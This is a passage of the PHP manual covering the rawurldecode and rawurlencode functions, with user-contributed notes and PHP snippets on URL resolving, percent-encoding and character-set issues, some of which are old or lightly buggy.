                        'path'=>substr($url,2),
                ));
        } else if ($url{0} == "/") {
                // Step 5
                $base['path'] = $url;
        } else {
                // Step 6
                $path = explode('/', $base['path']);
                $url_path = explode('/', $url);
                // Step 6a: drop file from base
                array_pop($path);
                // Step 6b, 6c, 6e: append url while removing "." and ".." from
                // the directory portion
                $end = array_pop($url_path);
                foreach ($url_path as $segment) {
                        if ($segment == '.') {
                                // skip
                        } else if ($segment == '..' && $path && $path[sizeof($path)-1] != '..') {
                                array_pop($path);
                        } else {
                                $path[] = $segment;
                        }
                }
                // Step 6d, 6f: remove "." and ".." from file portion
                if ($end == '.') {
                        $path[] = '';
                } else if ($end == '..' && $path && $path[sizeof($path)-1] != '..') {
                        $path[sizeof($path)-1] = '';
                } else {
                        $path[] = $end;
                }
                // Step 6h
                $base['path'] = join('/', $path);

        }
        // Step 7
        return unparse_url($base);
}
christian at resource-it dot dk 03-Aug-2007 09:57
I searched for an implementation of rfc3986, which is a newer version of rfc 2392. I may find it here : <http://www.chrsen.dk/fundanemt/files/scripter/php/misc/rfc3986.php> - read the rfc at <http://rfc.net/rfc3986.html>
adrian-php at sixfingeredman dot net 25-Jul-2007 11:58
Here's a function which implements resolving a relative URL according to RFC 2396 section 5.2. No doubt there are more efficient implementations, but this one tries to remain close to the standard for clarity. It relies on a function called "unparse_url" to implement section 7, left as an exercise for the reader (or you can substitute the "glue_url" function posted earlier).

<?php
/**
 * Resolve a URL relative to a base path. This happens to work with POSIX
 * filenames as well. This is based on RFC 2396 section 5.2.
 */
function resolve_url($base, $url) {
        if (!strlen($base)) return $url;
        // Step 2
        if (!strlen($url)) return $base;
        // Step 3
        if (preg_match('!^[a-z]+:!i', $url)) return $url;
        $base = parse_url($base);
        if ($url{0} == "#") {
                // Step 2 (fragment)
                $base['fragment'] = substr($url, 1);
                return unparse_url($base);
        }
        unset($base['fragment']);
        unset($base['query']);
        if (substr($url, 0, 2) == "//") {
                // Step 4
                return unparse_url(array(
                        'scheme'=>$base['scheme'],
                        'path'=>$url,
                ));
        } else if ($url{0} == "/") {
                // Step 5
                $base['path'] = $url;
        } else {
                // Step 6
                $path = explode('/', $base['path']);
                $url_path = explode('/', $url);
                // Step 6a: drop file from base
                array_pop($path);
                // Step 6b, 6c, 6e: append url while removing "." and ".." from
                // the directory portion
                $end = array_pop($url_path);
                foreach ($url_path as $segment) {
                        if ($segment == '.') {
                                // skip
                        } else if ($segment == '..' && $path && $path[sizeof($path)-1] != '..') {
                                array_pop($path);
                        } else {
                                $path[] = $segment;
                        }
                }
                // Step 6d, 6f: remove "." and ".." from file portion
                if ($end == '.') {
                        $path[] = '';
                } else if ($end == '..' && $path && $path[sizeof($path)-1] != '..') {
                        $path[sizeof($path)-1] = '';
                } else {
                        $path[] = $end;
                }
                // Step 6h
                $base['path'] = join('/', $path);

        }
        // Step 7
        return unparse_url($base);
}
?>
Elliott Brueggeman 04-Jun-2007 12:59
Note that if you pass this function a url without a scheme (www.php.net, as opposed to http://www.php.net), the function will incorrectly parse the results. In my test case it returned the domain under the ['path'] element and nothing in the ['host'] element.
Marc-Antoine Ross 14-Mar-2007 05:10
Do not look for the fragment in $_SERVER['QUERY_STRING'], you will not find it. You should read the fragment in JavaScript for example.
alistair at 21degrees dot com dot au 24-Oct-2006 04:21
Heres a simple function to add the $component option in for PHP4. Haven't done exhaustive testing, but should work ok.

<?php

    ## Defines only available in PHP 5, created for PHP4
    if(!defined('PHP_URL_SCHEME')) define('PHP_URL_SCHEME', 1);
    if(!defined('PHP_URL_HOST')) define('PHP_URL_HOST', 2);
    if(!defined('PHP_URL_PORT')) define('PHP_URL_PORT', 3);
    if(!defined('PHP_URL_USER')) define('PHP_URL_USER', 4);
    if(!defined('PHP_URL_PASS')) define('PHP_URL_PASS', 5);
    if(!defined('PHP_URL_PATH')) define('PHP_URL_PATH', 6);
    if(!defined('PHP_URL_QUERY')) define('PHP_URL_QUERY', 7);
    if(!defined('PHP_URL_FRAGMENT')) define('PHP_URL_FRAGMENT', 8);

    function parse_url_compat($url, $component=NULL){

        if(!$component) return parse_url($url);

        ## PHP 5
        if(phpversion() >= 5)
            return parse_url($url, $component);

        ## PHP 4
        $bits = parse_url($url);

        switch($component){
            case PHP_URL_SCHEME: return $bits['scheme'];
            case PHP_URL_HOST: return $bits['host'];
            case PHP_URL_PORT: return $bits['port'];
            case PHP_URL_USER: return $bits['user'];
            case PHP_URL_PASS: return $bits['pass'];
            case PHP_URL_PATH: return $bits['path'];
            case PHP_URL_QUERY: return $bits['query'];
            case PHP_URL_FRAGMENT: return $bits['fragment'];
        }

    }

?>
TheShadow 30-Dec-2004 09:36
You may want to check out the PEAR NET_URL class. It provides easy means to manipulate URL strings.

http://pear.php.net/package/Net_URL


Decode URL-encoded strings

  • « parse_url
  • rawurlencode »
  • PHP Manual
  • URL Functions
  • Decode URL-encoded strings

rawurldecode

(PHP 4, PHP 5)

rawurldecode — Decode URL-encoded strings

Description

string rawurldecode ( string $str )

Returns a string in which the sequences with percent (%) signs followed by two hex digits have been replaced with literal characters.

Parameters

str

The URL to be decoded.

Return Values

Returns the decoded URL, as a string.

Examples

Example #1 rawurldecode() example

<?php

echo rawurldecode('foo%20bar%40baz'); // foo bar@baz

?>

Notes

Note:

rawurldecode() does not decode plus symbols ('+') into spaces. urldecode() does.

See Also

  • rawurlencode() - URL-encode according to RFC 3986
  • urldecode() - Decodes URL-encoded string
  • urlencode() - URL-encodes string
  • » RFC 3986

User Contributed Notes

jakub dot lopuszanski at nasza-klasa dot pl 24-Jan-2014 04:59
Be aware that rawurldecode does not warn you in any way if the output is nonvalid UTF-8.
For example if the input passed to the function is just "%C5", then since C is 1100 in binary, and UTF-8 characters starting with 110 should be followed by another character, the result of rawurldecode will be just a single byte (with value \xC5) which is not a correct UTF-8.
Confront this with for example Javascript which will warn you about it:

JAVASCRIPT:

decodeURI("%C5")
URIError: URI malformed

decodeURIComponent("%C5")
URIError: URI malformed

unescape("%C5")
"Å"

PHP:
var_dump(rawurldecode("%C5"))
string(1) "▒"

php -v
PHP 5.3.6 (cli) (built: Oct  4 2012 10:19:07)
Copyright (c) 1997-2011 The PHP Group
Zend Engine v2.3.0, Copyright (c) 1998-2011 Zend Technologies
    with Suhosin v0.9.32.1, Copyright (c) 2007-2010, by SektionEins GmbH
Cagivaracer 06-Jul-2009 01:40
Please note that the combination encodeURIComponent (Javascript) and rawurldecode (PHP) only works well if magic quotes are turned off in php.ini (magic_quotes_gpc = Off)
Javier A. Segura at gmail dot com 04-Jan-2008 09:13
Hi everybody =) My name is Javier and I'm from Argentina.
I've had a little issue with latin characters like ñ","Ñ","á","é","í", etc.
They are not decoded with rawurlencode(), so I've made this:
<?php
function urlRawDecode($raw_url_encoded)
{
    # Hex conversion table
    $hex_table = array(
        0 => 0x00,
        1 => 0x01,
        2 => 0x02,
        3 => 0x03,
        4 => 0x04,
        5 => 0x05,
        6 => 0x06,
        7 => 0x07,
        8 => 0x08,
        9 => 0x09,
        "A"=> 0x0a,
        "B"=> 0x0b,
        "C"=> 0x0c,
        "D"=> 0x0d,
        "E"=> 0x0e,
        "F"=> 0x0f
    );

    # Fixin' latin character problem
        if(preg_match_all("/\%C3\%([A-Z0-9]{2})/i", $raw_url_encoded,$res))
        {
            $res = array_unique($res = $res[1]);
            $arr_unicoded = array();
            foreach($res as $key => $value){
                $arr_unicoded[] = chr(
                        (0xc0 | ($hex_table[substr($value,0,1)]<<4))
                       | (0x03 & $hex_table[substr($value,1,1)])
                );
                $res[$key] = "%C3%" . $value;
            }

            $raw_url_encoded = str_replace(
                                    $res,
                                    $arr_unicoded,
                                    $raw_url_encoded
                        );
        }

        # Return decoded  raw url encoded data
        return rawurldecode($raw_url_encoded);
}

print urlRawDecode("%C3%A1%C3%B1");

// output:
// áñ

?>
For example, you have the character "ñ" encoded like this "%C3%B1".
This is nothing more and nothing less than 0xc3 and 0xb1,
they are binary numbers, (HHHH LLLL, where HHHH=High and LLLL=Low).
0xc3 = 1100 0011 (binary 8 bit word), 0xb1 = 1011 0001 (binary 8 bit word),
To convert a raw encoded character to ascii we have to make boolean operations
between this two operands (0xc3 and 0xb1), boolean algebra were defined by George
Boole, we need to use them here. The first one we going to use is the
logical OR ("|" or "pipe") and logical AND ("&" or "and person").

A logical OR implies the following truth table:
a b (a OR b)
0 0     0
0 1     1   (a OR b or Both, a and b, must be true to get a true result)
1 0     1
1 1     1

A logical AND implies the following truth table:
a b (a AND b)
0 0     0
0 1     0
1 0     0
1 1     1   (Both a AND b, must be true to get a true result)

So, here we have to make a logical OR with both 0xc3 and 0xb1 HIGH nibble,
a nibble is a half byte (4 bits), so we have to make a logical OR between
1100 (0xc) and 1011 (0xb), we going to get this: 1111 (0xf), then we have to make
a logical AND between both LOW nibble, 0011 (0x3) and 0001 (0x1), we going to get
this: 0001, so, if we want to see the final result, we have to put HIGH and LOW
nibble on his Byte position, like this: 1111 0001 (0xf1) and that is nothing
more and nothing less than "ñ" (to check this out, try the following: print(chr(0xf1));).

This "<<" is a logical shift left, if we have this binary number 0001 (1) and we make this:
0001 << 2 we'll get 0100 (4) right bits are filled with 0's.

<?php
# Conversion example %C3%B1 to ASCII (0x71)
print(
    chr(
        (0xc0|0x0b<<4) | (0x03&0x01)
    )
);

// Output will be:
// ñ

// 1100 0000 OR 1011 0000 = 1111 0000 (0xf0)
// 0000 0011 AND 0000 0001 = 0000 0001 (0x01)
// 1111 0000 OR 0000 0001 = 1111 0001 (0xf1)

?>

PS: I'm so sorry about my english, I know, is horrible :P
Javier A. Segura at gmail dot com 04-Jan-2008 09:07
Hi everybody =) My name is Javier and I'm from Argentina.
I've had a little issue with latin characters like ñ","Ñ","á","é","í", etc.
They are not decoded with rawurlencode(), so I've made this:
<?php
function urlRawDecode($raw_url_encoded)
{
    # Hex conversion table
    $hex_table = array(
        0 => 0x00,
        1 => 0x01,
        2 => 0x02,
        3 => 0x03,
        4 => 0x04,
        5 => 0x05,
        6 => 0x06,
        7 => 0x07,
        8 => 0x08,
        9 => 0x09,
        "A"=> 0x0a,
        "B"=> 0x0b,
        "C"=> 0x0c,
        "D"=> 0x0d,
        "E"=> 0x0e,
        "F"=> 0x0f
    );

    # Fixin' latin character problem
        if(preg_match_all("/\%C3\%([A-Z0-9]{2})/i", $raw_url_encoded,$res))
        {
            $res = array_unique($res = $res[1]);
            $arr_unicoded = array();
            foreach($res as $key => $value){
                $arr_unicoded[] = chr(
                        (0xc0 | ($hex_table[substr($value,0,1)]<<4))
                       | (0x03 & $hex_table[substr($value,1,1)])
                );
                $res[$key] = "%C3%" . $value;
            }

            $raw_url_encoded = str_replace(
                                    $res,
                                    $arr_unicoded,
                                    $raw_url_encoded
                        );
        }

        # Return decoded  raw url encoded data
        return rawurldecode($raw_url_encoded);
}

print urlRawDecode("%C3%A1%C3%B1");

// output:
// áñ

?>
For example, you have the character "ñ" encoded like this "%C3%B1".
This is nothing more and nothing less than 0xc3 and 0xb1,
they are binary numbers, (HHHH LLLL, where HHHH=High and LLLL=Low).
0xc3 = 1100 0011 (binary 8 bit word), 0xb1 = 1011 0001 (binary 8 bit word),
To convert a raw encoded character to ascii we have to make boolean operations
between this two operands (0xc3 and 0xb1), boolean algebra were defined by George
Boole, we need to use them here. The first one we going to use is the
logical OR ("|" or "pipe") and logical AND ("&" or "and person").

A logical OR implies the following truth table:
a b (a OR b)
0 0     0
0 1     1   (a OR b or Both, a and b, must be true to get a true result)
1 0     1
1 1     1

A logical AND implies the following truth table:
a b (a AND b)
0 0     0
0 1     0
1 0     0
1 1     1   (Both a AND b, must be true to get a true result)

So, here we have to make a logical OR with both 0xc3 and 0xb1 HIGH nibble,
a nibble is a half byte (4 bits), so we have to make a logical OR between
1100 (0xc) and 1011 (0xb), we going to get this: 1111 (0xf), then we have to make
a logical AND between both LOW nibble, 0011 (0x3) and 0001 (0x1), we going to get
this: 0001, so, if we want to see the final result, we have to put HIGH and LOW
nibble on his Byte position, like this: 1111 0001 (0xf1) and that is nothing
more and nothing less than "ñ" (to check this out, try the following: print(chr(0xf1));).

This "<<" is a logical shift left, if we have this binary number 0001 (1) and we make this:
0001 << 2 we'll get 0100 (4) right bits are filled with 0's.

<?php
# Conversion example %C3%B1 to ASCII (0x71)
print(
    chr(
        (0xc0|0x0b<<4) | (0x03&0x01)
    )
);

// Output will be:
// ñ

// 1100 0000 OR 1011 0000 = 1111 0000 (0xf0)
// 0000 0011 AND 0000 0001 = 0000 0001 (0x01)
// 1111 0000 OR 0000 0001 = 1111 0001 (0xf1)

?>

PS: I'm so sorry about my english, I know, is horrible :P
Tomek Perlak [tomekperlak at tlen pl] 14-Nov-2006 12:03
Let's say you pass some data between the client and the server in a more or less array-like structure.

If using the [] brackets in the field names is not enough (or won't comply with the rest of the project for some reason), you might have to use a string with a number of different delimiters (rows, fields, rows inside fields and such).

To make sure that the data doesn't get mistaken for delimiters, you can use the encodeURIComponent() JavaScript function. It pairs nicely with rawurldecode().

Once the string passed to the server side finally gets exploded into an array (or set of such), you could use the following function to recursively rawurldecode the array(s):

<?php

function rawurldecode_array(&$arr)
{
    foreach (array_keys($arr) as $key)
    {
        if (is_array($arr[$key]))
        {
            rawurldecode_array($arr[$key]);
        }
        else
        {
            $arr[$key] = rawurldecode($arr[$key]);
        }
    }
}

$a[0] = rawurlencode("2+1:3?9");
$a["k"] = rawurlencode("@:-/");
$a[-3][0] = rawurlencode("+");
$a[-3][2] = rawurlencode("=_~");
$a[-3]["a"] = rawurlencode("this+is a%test");

echo "<pre>"; print_r($a); echo "</pre>";

rawurldecode_array($a);

echo "<pre>"; print_r($a); echo "</pre>";

?>

The program will output:

Array
(
    [0] => 2%2B1%3A3%3F9
    [k] => %40%3A-%2F
    [-3] => Array
        (
            [0] => %2B
            [2] => %3D_%7E
            [a] => this%2Bis%20a%25test
        )

)

Array
(
    [0] => 2+1:3?9
    [k] => @:-/
    [-3] => Array
        (
            [0] => +
            [2] => =_~
            [a] => this+is a%test
        )

)
php dot net at hiddemann dot org 23-May-2005 11:08
To sum it up: the only difference of this function to the urldecode function is that the "+" character won't get translated.


URL-encode according to RFC 3986

  • Â« rawurldecode
  • urldecode Â»
  • PHP Manual
  • URL Functions
  • URL-encode according to RFC 3986

rawurlencode

(PHP 4, PHP 5)

rawurlencode — URL-encode according to RFC 3986

Description

string rawurlencode ( string $str )

Encodes the given string according to » RFC 3986.

Parameters

str

The URL to be encoded.

Return Values

Returns a string in which all non-alphanumeric characters except -_.~ have been replaced with a percent (%) sign followed by two hex digits. This is the encoding described in » RFC 3986 for protecting literal characters from being interpreted as special URL delimiters, and for protecting URLs from being mangled by transmission media with character conversions (like some email systems).

Note:

Prior to PHP 5.3.0, rawurlencode encoded tildes (~) as per » RFC 1738.

Changelog

Version | Description
5.3.4 | Tilde characters are no longer encoded when rawurlencode() is used with EBCDIC strings.
5.3.0 | Now conforms to » RFC 3986.

Examples

Example #1 including a password in an FTP URL

<?php
echo '<a href="ftp://user:', rawurlencode('foo @+%/'),
     '@ftp.example.com/x.txt">';
?>

The above example will output:

<a href="ftp://user:foo%20%40%2B%25%2F@ftp.example.com/x.txt">

Or, if you pass information in a PATH_INFO component of the URL:

Example #2 rawurlencode() example 2

<?php
echo '<a href="http://example.com/department_list_script/',
    rawurlencode('sales and marketing/Miami'), '">';
?>

The above example will output:

<a href="http://example.com/department_list_script/sales%20and%20marketing%2FMiami">

See Also

  • rawurldecode() - Decode URL-encoded strings
  • urldecode() - Decodes URL-encoded string
  • urlencode() - URL-encodes string
  • » RFC 3986

User Contributed Notes

Anonymous 23-Jan-2012 12:42
If you, like me, sometimes have the misfortune of being forced to work with PHP4, here is a PHP implementation of http_build_query() that produces more or less the same output as this function, accepting the same arguments.

The only differences here are that the RFC selector argument does not behave precisely correctly. This implementation passes RFC1738 through urlencode() and RFC3986 through rawurlencode(), which is not 100% correct, see the manual pages of those function for more information.

<?php

  if (!function_exists('http_build_query')) {

    if (!defined('PHP_QUERY_RFC1738')) define('PHP_QUERY_RFC1738', 1);
    if (!defined('PHP_QUERY_RFC3986')) define('PHP_QUERY_RFC3986', 2);

    function http_build_query ($query_data, $numeric_prefix = NULL, $arg_separator = NULL, $enc_type = PHP_QUERY_RFC1738, $base = NULL) {
      $result = array();
      $arg_separator = ($arg_separator != '') ? (string) $arg_separator : ini_get('arg_separator.output');
      $enc_func = ($enc_type == PHP_QUERY_RFC3986) ? 'rawurlencode' : 'urlencode';
      foreach ($query_data as $key => $item) $result[] = (is_array($item) || is_object($item)) ? http_build_query($item, NULL, $arg_separator, $enc_type, ($base !== NULL) ? "$base%5B".$enc_func($key).'%5D' : $enc_func($key)) : (($base !== NULL) ? "$base%5B".$enc_func($key).'%5D='.$enc_func($item) : ((is_int($key) && $numeric_prefix !== NULL) ? (string) $numeric_prefix : '').$enc_func($key).'='.$enc_func($item));
      return implode($arg_separator, $result);
    }

  }
ToKaM 24-Oct-2010 12:32
Be careful here. rawurlencode changes Ã¤ to %C3%83%C2%A4 but firefox changes this internally to %c3%83%c2%a4. This could lead to bugs with rewrite loops.
Cheers.
bolvaritamas at vipmail dot hu 07-Oct-2010 03:25
I've written a simple function to convert an UTF-8 string to URL encoded string. All the given characters are converted!

The function:
<?php
function mb_rawurlencode($url){
$encoded='';
$length=mb_strlen($url);
for($i=0;$i<$length;$i++){
$encoded.='%'.wordwrap(bin2hex(mb_substr($url,$i,1)),2,'%',true);
}
return $encoded;
}
?>

Example:
<?php
echo 'http://example.com/',
    mb_rawurlencode('ä½ å¥½');
?>

The above example will output:
http://example.com/%e4%bd%a0%e5%a5%bd
hiroaki dot kawai at gmail dot com 22-Oct-2008 04:40
phpversion()>=5.3 will compliant with RFC 3986, while phpversion()<=5.2.7RC1 is not compliant with RFC 3986.

History of related RFCs:

RFC 1738 section 2.2
 only alphanumerics, the special characters "$-_.+!*'(),", and
 reserved characters used for their reserved purposes may be used
 unencoded within a URL.

RFC 2396 section 2.3
 unreserved  = alphanum | mark
 mark        = "-" | "_" | "." | "!" | "~" | "*" | "'" | "(" | ")"

RFC 2732 section 3
 (3) Add "[" and "]" to the set of 'reserved' characters:

RFC 3986 section 2.3
 unreserved = ALPHA / DIGIT / "-" / "." / "_" / "~"

RFC 3987 section 2.2
 unreserved = ALPHA / DIGIT / "-" / "." / "_" / "~"
herenvardo at gmail dot com 16-Aug-2008 01:11
I have to mention something about javier's post: the issue you are experiencing only happens because you are using ISO-8859-1 (a.k.a. ISO-LATIN-1) encoding, which is an extension of ASCII using the values 128-255 for latin specific characters (these characters are NOT part of ASCII). To say somethig like 0xF1 is the correct value for "Ã±" in ASCII is wrong: any value equal or higher than 0x80 is invalid in ASCII; and there is no "correct" value for "Ã±" in ASCII because the ASCII character set does not include that character.
These encode/decode functions are designed to work on UTF-8, which is an ASCII-compatible encoding for Unicode, thus being able to represent the entire Unicode character range.

The main point is: the "ÃƒÂ±" you get is the 0xC3 0xB1 sequence, interpreted as two single-byte ISO-8859-1 characters; but if you interpret them as UTF-8, they indeed represent "Ã±". If you are working with the latin character set and encoding, then you are fine with your method (which is essentially a utf-8 => iso-latin-1 converter).

For anybody who is using UTF-8 enconding, check if there is any issue before you use a method like javier's: these multi-byte values are actually the right way to represent any non-ASCII character on UTF-8.

For deeper details on the UTF-8 and ISO-8859-1 encodings, take a look at wikipedia:
http://en.wikipedia.org/wiki/UTF-8
http://en.wikipedia.org/wiki/ISO-8859-1
javier dot alejandro dot segura at gmail dot com 04-Jan-2008 08:40
<?php
/*
 :: Latin characters issue using rawurldecode() ::
    ------------------------------------------

What happen if you need tu convert this %C3%B1 into this 'Ã±' using rawurldecode()? Well, it doesn't work as we'd wish to. We'll get this "ÃƒÂ±". To fix this issue, I've made the following function:

*/

    function urlRawDecode($raw_url_encoded)
    {
        # Hex conversion table
        $hex_table = array(
            0 => 0x00,
            1 => 0x01,
            2 => 0x02,
            3 => 0x03,
            4 => 0x04,
            5 => 0x05,
            6 => 0x06,
            7 => 0x07,
            8 => 0x08,
            9 => 0x09,
            "A"=> 0x0a,
            "B"=> 0x0b,
            "C"=> 0x0c,
            "D"=> 0x0d,
            "E"=> 0x0e,
            "F"=> 0x0f
        );

        # Looking for latin characters with a pattern like this %C3%[A-Z0-9]{2} ie. -> %C3%B1 = 'Ã±'
        if(preg_match_all("/\%C3\%([A-Z0-9]{2})/i",$raw_url_encoded,$res))
        {
            $res = array_unique($res = $res[1]);
            $arr_unicoded = array();
            foreach($res as $key => $value){
                $arr_unicoded[] = chr(
                    (0xc0 | ($hex_table[substr($value,0,1)]<<4)) | (0x03 & $hex_table[substr($value,1,1)])
                );
                $res[$key] = "%C3%" . $value;
            }

            $raw_url_encoded = str_replace($res,$arr_unicoded,$raw_url_encoded);
        }

        # Return raw url decoded
        return rawurldecode($raw_url_encoded);
    }

# Testing
print "Decoded character -> " . urlRawDecode("%C3%B1");

// ouput:
//         Decoded chracter -> Ã±

/*

:: A little explanation about what does this function do ::
   -----------------------------------------------------

This function makes two binary operations between C3 and B1. To get an ASCII representation of this kind of raw url encoded character, we have to make a logical OR between HIGH nibble of 0xC3 (0xC) and HIGH nibble of 0xB1 (0xB) -> (0xC0 | 0xB0), then, a logical AND between both LOW nibble (0x03 & 0x01), and finally we have to make a logical OR between these two results -> [hex] ((0xC0 | 0xB0) | (0x03 & 0x01)) = [binary] ((1100 0000 | 1011 0000) | (0000 0011 & 0000 0001)) = [hex] 0xF1 = [binary] 1111 0001 = "Ã±" character.

Hope to be helpfull, if you have an issue like this, try to use this function.

Bye,

Javi =)

*/
?>
christian _no interest in at spam dot com 25-Jan-2007 02:53
I had serious trouble with local Windows paths containing umlauts on my Apache 2 / Windows NT machine. Apache could not find any of those files if I just used rawurlencode. It's not noted anywhere here, but you fix this by simply making your path utf8 first:

rawurlencode(utf8_encode($str));
Tomek Perlak [tomekperlak at tlen pl] 14-Nov-2006 12:15
Note in regards to 'rickyale at ig dot com dot br' program:

Wouldn't the whole issue be fixed by using charset=utf-8 in the HTML page?

I'm passing some data between the HTML form and an PHP program - my 'special' characters have to do with the Polish alphabet - and it looks like JavaScript encoding actually... works.

Of course, I could have tested only a limitted number of cases.

Just a thought.
piotr DOT wydrych AT gmail DOT com 29-Mar-2006 11:40
You can encode paths using:

<?php
$encoded = implode("/", array_map("rawurlencode", explode("/", $path)));
?>
jeroen at virtualhost dot nl 28-Feb-2006 12:55
On the comments of rickyale and djmaze...
Is what you try to achieve is not a combination of utf8 and url encoding, e.g. :

<?
$str = "bløf Charlène";
$enc = urlencode(utf8_encode($str));
$str2 = utf8_decode(urldecode($enc));
echo "$str -> $enc -> $str2";
?>

will output:
bløf Charlène -> bl%C3%B8f+Charl%C3%A8ne -> bløf Charlène

At least works for me, Jeroen Hofstee
djmaze@dragonflycms 02-Feb-2006 12:36
Easier version to 'rickyale at ig dot com dot br' his example

<?php
function encode($text)
{
    $REQUEST_URI = str_replace('"', '%22', $text);
    // 0 - 128
    return preg_replace('#([\x3C\x3E])#e', '"%".bin2hex(\'\\1\')', $text);
}
?>
Just fill the regular expression with all characters that you need to have encoded.

NOTE: 142 and up in his array are language specific ASCII characters so the conversion to their unicode ('%C5%BD') equivelant may or may not work for you.
This needs a far more serious and bigger system to handle for non us tables
rickyale at ig dot com dot br 03-Dec-2005 05:15
As peter@nospam said, the microsoft uses an different table for encode string when sending data...

with some test i have created a table with this encodes for special char like á é í ó ú

here is it for those who need know what is this table..

the index of array is the ord() of a character..
use with chr(index) to know the char.. and replace with the value.....

var    $ENCODE_TABLE = ARRAY(33=>'%21', 35=>'%23', 36=>'%24', 37=>'%25', 38=>'%26', 40=>'%28', 41=>'%29', 43=>'%2B', 44=>'%2C', 47=>'%2F', 58=>'%3A', 59=>'%3B', 60=>'%3C', 61=>'%3D', 62=>'%3E', 63=>'%3F', 91=>'%5B', 92=>'%5C', 93=>'%5D', 123=>'%7B', 124=>'%7C', 125=>'%7D', 142=>'%C5%BD', 192=>'%C3%80', 193=>'%C3%81', 194=>'%C3%82', 195=>'%C3%83', 196=>'%C3%84', 197=>'%C3%85', 199=>'%C3%87', 200=>'%C3%88', 201=>'%C3%89', 202=>'%C3%8A', 203=>'%C3%8B', 204=>'%C3%8C', 205=>'%C3%8D', 206=>'%C3%8E', 207=>'%C3%8F', 210=>'%C3%92', 211=>'%C3%93', 212=>'%C3%94', 213=>'%C3%95', 214=>'%C3%96', 217=>'%C3%99', 218=>'%C3%9A', 219=>'%C3%9B', 220=>'%C3%9C', 221=>'%C3%9D', 224=>'%C3%A0', 225=>'%C3%A1', 226=>'%C3%A2', 227=>'%C3%A3', 228=>'%C3%A4', 229=>'%C3%A5', 231=>'%C3%A7', 232=>'%C3%A8', 233=>'%C3%A9', 234=>'%C3%AA', 235=>'%C3%AB', 236=>'%C3%AC', 237=>'%C3%AD', 238=>'%C3%AE', 239=>'%C3%AF', 242=>'%C3%B2', 243=>'%C3%B3', 244=>'%C3%B4', 245=>'%C3%B5', 246=>'%C3%B6', 249=>'%C3%B9', 250=>'%C3%BA', 251=>'%C3%BB', 252=>'%C3%BC', 253=>'%C3%BD', 255=>'%C3%BF');

example::

function encode($text) {
    while(list($ord, $enc) = each($ENCODE_TABLE)) {
    $text = str_replace(chr($ord), $enc, $text);
    }
return $text;
}

hope this help ...
ulterior AT one.lt 31-Aug-2005 02:48
In addition to my last post I would like to add that, this function is for the "directories/somefile.ext" paths

In order to construct valid ftp url (with password added in it )
do this

$valid_path = "ftp://" . rawurlencode($user) . ":" . rawurlencode($pass) . ftp_url_encode($your_server_path_to_file)

Last function will encode path url so that language characters remain untouched and you get same file name for download after download dialog appears.
ulterior AT one.lt 30-Aug-2005 09:20
This seems the correct way to encode ftp url which you could provide for your users:

function ftp_url_encode($string) {

   $hex="";
   $retstr = "";
   for ($i=0; $i < strlen($string) ;$i++) {

     $char = $string[$i];
     if(($char >= '0' && $char <= '9') || ($char >= 'A' && $char <= 'Z') || ($char >= 'a' && $char <= 'z') || $char == '.' || $char == '-' || $char == '/' || (ord($char) >=128) ) $retstr .= $char;
     else
     $retstr .= "%".strtoupper(dechex(ord($string[$i])));

   }
   return $retstr;
}

Browsers mangle certain language characters
peter at nospam dot webgains dot com 31-May-2005 10:38
The microsoft URLEncode method ignores the documentation in RFC1738 which states that:

".... the special characters "$-_.+!*'(),", and reserved characters used for their reserved purposes may be used unencoded within a URL"

So for example, myaddress@mydomain.com becomes myaddress%40mydomain%2Ecom, whereas php and other languages would encode this as myaddress%40mydomain.com

This can be an issue when porting from asp or if you are doing string comparison of strings urlencoded on different platforms.

NB. php will correctly decode myaddress%40mydomain%2Ecom to myaddress@mydomain.com, it is only the encoding that differs
Lucas Gonze -- lucas at gonze dot com 07-Jan-2005 07:01
I have attempted to incorporate all of the previous comments, plus several bug fixes, into  dphantom's linkencode.  I see no bugs for these test cases:
http://example.com/path1;var1=val1/p2;v2
http://example.com/p1;v1/p2;v2
http://[ip:v6:440]:8080
http://example.com:8080
http://example.com/~joe
http://example.com/foobar/~joe
http://username:password@hostname/path 1//path 2/?arg 1=value 1&arg 2=value 2#fragment identifier
hostname/path 1//path 2/?arg 1=value 1&arg 2=value 2#fragment identifier
http://invalid_host..name/

function linkencode($p_url){
   $uparts = @parse_url($p_url);

   $scheme = array_key_exists('scheme',$uparts) ? $uparts['scheme'] : "";
   $pass = array_key_exists('pass',$uparts) ? $uparts['pass']  : "";
   $user = array_key_exists('user',$uparts) ? $uparts['user']  : "";
   $port = array_key_exists('port',$uparts) ? $uparts['port']  : "";
   $host = array_key_exists('host',$uparts) ? $uparts['host']  : "";
   $path = array_key_exists('path',$uparts) ? $uparts['path']  : "";
   $query = array_key_exists('query',$uparts) ? $uparts['query']  : "";
   $fragment = array_key_exists('fragment',$uparts) ? $uparts['fragment']  : "";

   if(!empty($scheme))
     $scheme .= '://';

   if(!empty($pass) && !empty($user)) {
     $user = rawurlencode($user).':';
     $pass = rawurlencode($pass).'@';
   } elseif(!empty($user))
     $user .= '@';

   if(!empty($port) && !empty($host))
       $host = ''.$host.':';
   elseif(!empty($host))
       $host=$host;

   if(!empty($path)){
     $arr = preg_split("/([\/;=])/", $path, -1, PREG_SPLIT_DELIM_CAPTURE); // needs php > 4.0.5.
     $path = "";
     foreach($arr as $var){
       switch($var){
       case "/":
       case ";":
       case "=":
         $path .= $var;
         break;
       default:
         $path .= rawurlencode($var);
       }
     }
     // legacy patch for servers that need a literal /~username
     $path = str_replace("/%7E","/~",$path);
   }

   if(!empty($query)){
     $arr = preg_split("/([&=])/", $query, -1, PREG_SPLIT_DELIM_CAPTURE); // needs php > 4.0.5.
     $query = "?";
     foreach($arr as $var){
       if( "&" == $var || "=" == $var )
         $query .= $var;
       else
         $query .= urlencode($var);
     }
   }

   if(!empty($fragment))
     $fragment = '#'.urlencode($fragment);

   return implode('', array($scheme, $user, $pass, $host, $port, $path, $query, $fragment));
}
Andrew Eigus 24-Jan-2003 12:31
note that if you implement your own server request engine in the HTTP manner like:

GET $request_uri

you should first split all parts of the $request_uri path and rawurlencode() each part, then concatenate those parts back again.  this function will translate the URI correctly:

function translate_uri($uri) {
    $parts = explode('/', $uri);
    for ($i = 0; $i < count($parts); $i++) {
      $parts[$i] = rawurlencode($parts[$i]);
    }
    return implode('/', $parts);
}

because if you do rawurlencode() over the whole URI, path separator characters '/' are also encoded and request will not happen to be correct.  '/' characters should not be encoded, only those parts in between.

hope this helps someone like me...
15-Nov-2002 04:30
Note that RFC 1738 has been amended:
The "[" and "]" are no longer considered unsafe, but instead are now considered "reserved", meaning that they CAN be used in URLs!

